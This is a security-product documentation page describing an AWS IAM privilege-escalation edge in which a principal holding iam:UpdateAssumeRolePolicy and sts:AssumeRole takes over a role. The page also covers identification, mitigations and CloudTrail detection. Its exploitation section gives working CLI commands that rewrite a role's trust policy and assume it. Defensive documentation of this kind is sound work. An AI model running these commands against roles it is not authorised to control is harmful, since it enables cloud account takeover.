Skip to content

AWS_UPDATE_TRUST_AND_ASSUME

Copy page

Summary

Forestall ACL Alias AWS_UPDATE_TRUST_AND_ASSUME
AD Alias N/A
Affected Object Types AWSUser|AWSRole → AWSRole
Exploitation Certainty High
AWS IAM Action iam:UpdateAssumeRolePolicy + sts:AssumeRole

Description

An attacker who holds both iam:UpdateAssumeRolePolicy and sts:AssumeRole on a target role takes it over unconditionally. They rewrite the trust policy to trust their own principal, then assume the role immediately.

This is a consolidated privesc edge — it needs both actions on the same role. iam:UpdateAssumeRolePolicy alone changes who may assume the role; sts:AssumeRole alone is blocked when no trust exists. Together they form a two-step takeover that needs no prior trust relationship.

The standalone iam:UpdateAssumeRolePolicy case is modeled separately as AWS_UPDATE_TRUST (same-account takeover, no separate assume grant needed). This edge covers the cross-account case and the case where the assume permission is explicit.

Edge semantics: (Attacker:AWSUser|AWSRole) -[AWS_UPDATE_TRUST_AND_ASSUME]-> (TargetRole:AWSRole)

Precondition: none. The attacker sets the trust and assumes the role in sequence.

Identification

Check whether a principal holds both actions on the target role:

aws iam simulate-principal-policy \
--policy-source-arn <attacker-arn> \
--action-names iam:UpdateAssumeRolePolicy sts:AssumeRole \
--resource-arns "arn:aws:iam::<account-id>:role/<target-role>"
# View the current trust policy of a role
aws iam get-role --role-name <target-role> \
--query "Role.AssumeRolePolicyDocument"

PowerShell (AWS Tools):

(Get-IAMRole -RoleName "<target-role>").AssumeRolePolicyDocument

Exploitation

# Step 1: Rewrite the trust policy to trust the attacker's principal
aws iam update-assume-role-policy \
--role-name <target-role> \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "<attacker-arn>"},
"Action": "sts:AssumeRole"
}]
}'
# Step 2: Assume the role immediately
aws sts assume-role \
--role-arn "arn:aws:iam::<account-id>:role/<target-role>" \
--role-session-name hijack-session

Mitigation

  • Restrict iam:UpdateAssumeRolePolicy to dedicated IAM administrator roles. Deny it for service and application roles.
  • Use SCPs to block trust policy changes that introduce arbitrary external principals or wildcards.
  • Apply resource-based conditions on sensitive roles — for example, require aws:PrincipalOrgID.
  • Enforce IAM permission boundaries so a rewritten trust policy cannot grant more than the boundary allows.
  • Use AWS IAM Access Analyzer to flag roles whose trust policies were recently modified.

Detection

CloudTrail Event Description Key Fields
UpdateAssumeRolePolicy The trust policy of a role was modified requestParameters.roleName, requestParameters.policyDocument, userIdentity.arn
AssumeRole The role was assumed after trust modification requestParameters.roleArn, userIdentity.arn

Alert when UpdateAssumeRolePolicy adds a new principal and AssumeRole on the same role follows within a short window. Also alert on any trust policy change that introduces a wildcard principal ("Principal": "*").

References

Was this page helpful?

Thank you for your feedback.